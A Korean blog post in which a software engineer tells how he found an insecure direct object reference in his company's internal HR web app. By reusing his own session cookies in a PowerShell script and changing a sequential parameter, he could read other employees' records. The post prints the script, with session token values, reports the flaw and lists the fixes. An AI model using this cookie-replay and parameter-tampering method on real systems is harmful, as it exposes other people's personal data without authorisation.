자바스크립트를 활성화 해주세요

p075 의도치않게 파워쉘로 사내관리툴 해킹해져버린 썰

 ·  ☕ 2 min read

p075_kokoronarazumo
코코로나라즈모라고 읽습니다.

본의아니게, 의도치 않게, 心ならずも, unintentionally 자신의 쿠키로 다른 사람의 정보를 보는 것이 되어져 버렸습니다. 작년도에 입사했던 신졸신입사원들이 만든 사내툴이었고, 전사원이 사용하는 인사관련 웹 어플리케이션이었기에 곧 보고를 해서 대응하도록 확인받았습니다.

우선 chrome browser로 해당 서비스에 로그인해서, server-side에 세션을 생성해 두고, 이 세션을 이용하는 스크립트를 작성하는 방식입니다. 언어는 어떤 것이라도 상관없습니다만, 윈도우즈라면 powershell을 사용하는 것이 손쉽기 때문에 powershell로 기재하였습니다.

쿠키정보는 Chrome Browser에서 확인할 수 있습니다.

코드

사용한 코드는 다음과 같습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
[System.Uri]$Uri = "https://some_end_point?parameter=92" # Add the Uri

$CookieData = @{
	"__RequestVerificationToken" = "l5yv8yVrts1PAqQjwF9i75A7jzSRuS5xMynRq7q0cye9q1T-eS1dDXD8YD62i-pB2HIgNwUIYknoV3zeKsQSbvSE8J6R1NQJWdA09tvTZNY1"
	"ASP.NET_SessionId" = "0g2bqhdnqbn5kpxfjan0241q"
	".ASPXAUTH" = "5087E9EBBDDDFC6A45000058106BC49C24C0D9029BD6648BA73679EF91BEBC3FCCD592052D7CFAAD75EF9F11A6599D1DBD637FDAE0568BF0B9314D691908664896268A2E8C9A249D6A9A2CF882D5B7682DA66260AF8CA80391A9EDCE06B9CA8E0CC3A34BD27203F333930A5815D38EE564369441AC89CBE55CF16CDE8771AD3F"
}

$WebSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
foreach ($k in $CookieData.Keys) {
	$Cookie = New-Object System.Net.Cookie
	$Cookie.Name = $k
	$Cookie.Value =$CookieData[$k]
	$Cookie.Domain = $uri.DnsSafeHost
	$WebSession.Cookies.Add($Cookie)
}

$Headers = @{
	"Referrer-Policy" = "strict-origin-when-cross-origin"
	"sec-fetch-site" = "same-origin"
	"user-agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36"
	"x-requested-with" = "XMLHttpRequest"
	"accept" = "*/*"
	"accept-encoding" = "gzip, deflate, br"
	"accept-language" = "ja,en-US;q=0.9,en;q=0.8,ko;q=0.7"
	"referer" = "https://some_end_point"
	"sec-fetch-dest" = "empty"
	"sec-fetch-mode" = "cors"
}
$ContentType = "application/json" # Add the content type
$Method = 'GET' # Add the method type

$props = @{
    Uri         = "https://some_end_point?parameter=92"
    Headers     = $Headers
    ContentType = $ContentType
    Method      = $Method
    WebSession  = $WebSession
    # Body        = $Body
}

# Invoke-RestMethod @props
$retval = Invoke-WebRequest @props

$retval.Content

대응방법

대응방법으로는,

  • server-side validation이 빠져 있는 것 같아서 추가하는 것과,
  • parameter 의 값을 일련번호가 아닌 것으로 변경하는 것으로, (예를 들면 uuid등) 대응했다고 연락받았습니다.

기타

  • 취약성검사툴로 검사는 실행하고 있습니다만, server-side ajax로 rendering하도록 만든 웹어플리케이션의 경우, 이쪽의 endpoint의 취약성 검사가 제대로 되지 않는 경우가 어쩌다 발생하곤 합니다.
  • (의도는 정말 없었을까?)
공유하기

tkim
글쓴이
tkim
Software Engineer